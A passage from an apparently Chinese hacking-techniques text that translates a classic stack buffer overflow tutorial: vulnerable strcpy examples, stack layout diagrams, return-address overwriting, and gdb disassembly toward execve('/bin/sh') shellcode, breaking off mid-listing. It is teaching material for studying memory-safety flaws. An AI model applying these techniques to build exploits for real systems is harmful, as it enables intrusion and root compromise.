xiazai.txt

黑客技术（口令破解）

// Display the string received from the server.
MessageBox (NULL, szClientW, TEXT("Received From Server"), MB_OK);
}
}

// Disable receiving on ServerSock.
shutdown (ServerSock, 0x00);

// Close the socket.
closesocket (ServerSock);

WSACleanup ();

return TRUE;
}


第十章　

缓冲区溢出及其攻击

第一节　缓冲区溢出原理

缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置，但没有足够空间时会发生缓冲区溢出。
下面对这种技术做一个详细的介绍。
缓冲区是程序运行时计算机内存中的一个连续的块，它保存了给定类型的数据。问题随着动态分配变量而出现。为了不用太多的内存，一个有动态分配变量的程序在程序运行时才决定给他们分配多少内存。
如果程序在动态分配缓冲区放入太多的数据会有什么现象？它溢出了，漏到了别的地方。一个缓冲区溢出应用程序使用这个溢出的数据将汇编语言代码放到计算机的内存中，通常是产生root权限的地方。
单单的缓冲区溢出，并不会产生安全问题。只有将溢出送到能够以root权限运行命令的区域才行。这样，一个缓冲区利用程序将能运行的指令放在了有root权限的内存中，从而一旦运行这些指令，就是以root权限控制了计算机。
总结一下上面的描述。缓冲区溢出指的是一种系统攻击的手段，通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。据统计，通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序: 

example0.c 
---------------------------------------------------------------------- 
void function(char *str) { 
char buffer[16]; 

strcpy(buffer,str); 
} 
---------------------------------------------------------------------- 

上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16，就会造成buffer的溢出，使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。
在Ｃ语言中，静态变量是分配在数据段中的，动态变量是分配在堆栈段的。缓冲区溢出是利用堆栈段的溢出的。
下面通过介绍Linux中怎样利用缓冲区溢出来讲解这一原理。最后介绍一个 eEye公司发现的IIS的一个溢出漏洞来讲解一个很实际的攻击实例。

第二节　制造缓冲区溢出

　　一个程序在内存中通常分为程序段，数据端和堆栈三部分。程序段里放着程序的机器码和只读数据，这个段通常是只读，对它的写操作是非法的。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中，它们的位置如下：

／――――――――\ 　　内存低端 
| 程序段 | 
|―――――――――| 
| 数据段 | 
|―――――――――| 
| 堆栈 | 
\―――――――――／ 内存高端 

堆栈是内存中的一个连续的块。一个叫堆栈指针的寄存器（SP）指向堆栈的栈顶。堆栈的底部是一个固定地址。
堆栈有一个特点就是，后进先出。也就是说，后放入的数据第一个取出。它支持两个操作，PUSH和POP。PUSH是将数据放到栈的顶端，POP是将栈顶的数据取出。
在高级语言中，程序函数调用和函数中的临时变量都用到堆栈。参数的传递和返回值是也用到了堆栈。通常对局部变量的引用是通过给出它们对SP的偏移量来实现的。另外还有一个基址指针（FP，在Intel芯片中是BP），许多编译器实际上是用它来引用本地变量和参数的。通常，参数的相对FP的偏移是正的，局部变量是负的。
当程序中发生函数调用时，计算机做如下操作：首先把参数压入堆栈；然后保存指令寄存器(IP)中的内容，做为返回地址(RET)；第三个放入堆栈的是基址寄存器(FP)；然后把当前的栈指针(SP)拷贝到FP，做为新的基地址；最后为本地变量留出一定空间，把SP减去适当的数值。
下面举个例子：
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
为了理解程序是怎样调用函数function()的，使用-S选项，在Linux下，用gcc进行编译，产生汇编代码输出：
$ gcc -S -o example1.s example1.c
看看输出文件中调用函数的那部分：
pushl $3
pushl $2
pushl $1
call function
这就将3个参数压到堆栈里了，并调用function()。指令call会将指令指针IP压入堆栈。在返回时，RET要用到这个保存的IP。
在函数中，第一要做的事是进行一些必要的处理。每个函数都必须有这些过程： 
pushl %ebp
movl %esp,%ebp
subl $20,%esp
这几条指令将EBP，基址指针放入堆栈。然后将当前SP拷贝到EBP。然后，为本地变量分配空间，并将它们的大小从SP里减掉。由于内存分配是以字为单位的，因此，这里的buffer1用了8字节（2个字，一个字4字节）。Buffer2用了12字节（3个字）。所以这里将ESP减了20。这样，现在，堆栈看起来应该是这样的。

低端内存 高端内存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
栈顶 栈底

　　缓冲区溢出就是在一个缓冲区里写入过多的数据。那怎样利用呢，看一下下面程序： 

example2.c 
---------------------------------------------------------------------- 
void function(char *str) { 
char buffer[16]; 

strcpy(buffer,str); 
} 

void main() { 
char large_string[256]; 
int i; 

for( i = 0; i < 255; i++) 
large_string[i] = 'A'; 

function(large_string); 
} 
---------------------------------------------------------------------- 
　　这个程序是一个经典的缓冲区溢出编码错误。函数将一个字符串不经过边界检查，拷贝到另一内存区域。当调用函数function()时，堆栈如下： 
低内存端 buffer sfp ret *str 高内存端 
< ------ [ ][ ][ ][ ] 
栈顶 栈底 
很明显，程序执行的结果是"Segmentation fault (core dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖，包括sfp, ret,甚至*str。'A'的十六进值为0x41，所以函数的返回地址变成了0x41414141, 这超出了程序的地址空间，所以出现段错误。 
可见，缓冲区溢出允许我们改变一个函数的返回地址。通过这种方式，可以改变程序的执行顺序。

第三节　通过缓冲区溢出获得用户SHELL 

　　再回过头看看第一个例子：
低端内存 高端内存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
栈顶 栈底
将第一个example1.c的代码改动一下，用来覆盖返回地址，显示怎样能利用它来执行任意代码。在上图中，buffer1前面的上sfp，再前面的是ret。而且buffer1[]实际上是8个字节，因此，返回地址是从buffer1[]起始地址算起是12个字节。在程序中，将返回地址设置成跳过语句"x=1;"，因此，程序的运行结果显示成一个0，而不是1。

example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}

　　用gdb调试。
　　$ gdb example3
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 < main>: pushl %ebp
0x8000491 < main+1>: movl %esp,%ebp
0x8000493 < main+3>: subl $0x4,%esp
0x8000496 < main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d < main+13>: pushl $0x3
0x800049f < main+15>: pushl $0x2
0x80004a1 < main+17>: pushl $0x1
0x80004a3 < main+19>: call 0x8000470 < function>
0x80004a8 < main+24>: addl $0xc,%esp
0x80004ab < main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 < main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 < main+37>: pushl %eax
0x80004b6 < main+38>: pushl $0x80004f8
0x80004bb < main+43>: call 0x8000378 < printf>
0x80004c0 < main+48>: addl $0x8,%esp
0x80004c3 < main+51>: movl %ebp,%esp
0x80004c5 < main+53>: popl %ebp
0x80004c6 < main+54>: ret
0x80004c7 < main+55>: nop
------------------------------------------------------------------------------
可见在调用function()之前，RET的返回地址将是0x8004a8，我们想要跳过0x80004ab，去执行0x8004b2。

在能够修改程序执行顺序之后，想要执行什么程序呢？通常希望程序去执行Shell，在Shell里，就能执行希望执行的指令了。
如果在溢出的缓冲区中写入想执行的代码，再覆盖返回地址(ret)的内容，使它指向缓冲区的开头，就可以达到运行其它指令的目的。 
在C语言中，调用shell的程序是这样的：
shellcode.c
-----------------------------------------------------------------------------
#include < stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
看一下这段程序的二进制代码：
$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
0x800014e < main+30>: call 0x80002bc < __execve>
0x8000153 < main+35>: addl $0xc,%esp
0x8000156 < main+38>: movl %ebp,%esp
0x8000158 < main+40>: popl %ebp
0x8000159 < main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
0x80002c0 < __execve+4>: movl $0xb,%eax
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
0x80002d0 < __execve+20>: movl %eax,%edx
0x80002d2 < __execve+22>: testl %edx,%edx
0x80002d4 < __execve+24>: jnl 0x80002e6 < __execve+42>
0x80002d6 < __execve+26>: negl %edx
0x80002d8 < __execve+28>: pushl %edx
0x80002d9 < __execve+29>: call 0x8001a34 < __normal_errno_location>
0x80002de < __execve+34>: popl %edx
0x80002df < __execve+35>: movl %edx,(%eax)
0x80002e1 < __execve+37>: movl $0xffffffff,%eax
0x80002e6 < __execve+42>: popl %ebx
0x80002e7 < __execve+43>: movl %ebp,%esp
0x80002e9 < __execve+45>: popl %ebp
0x80002ea < __execve+46>: ret
0x80002eb < __execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
　　研究一下main:
------------------------------------------------------------------------------
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
这段代码是main()函数的进入代码，为变量name留出空间。
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
这里实现了name[0] = "/bin/sh";语句。
接下来是调用execve()函数。
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax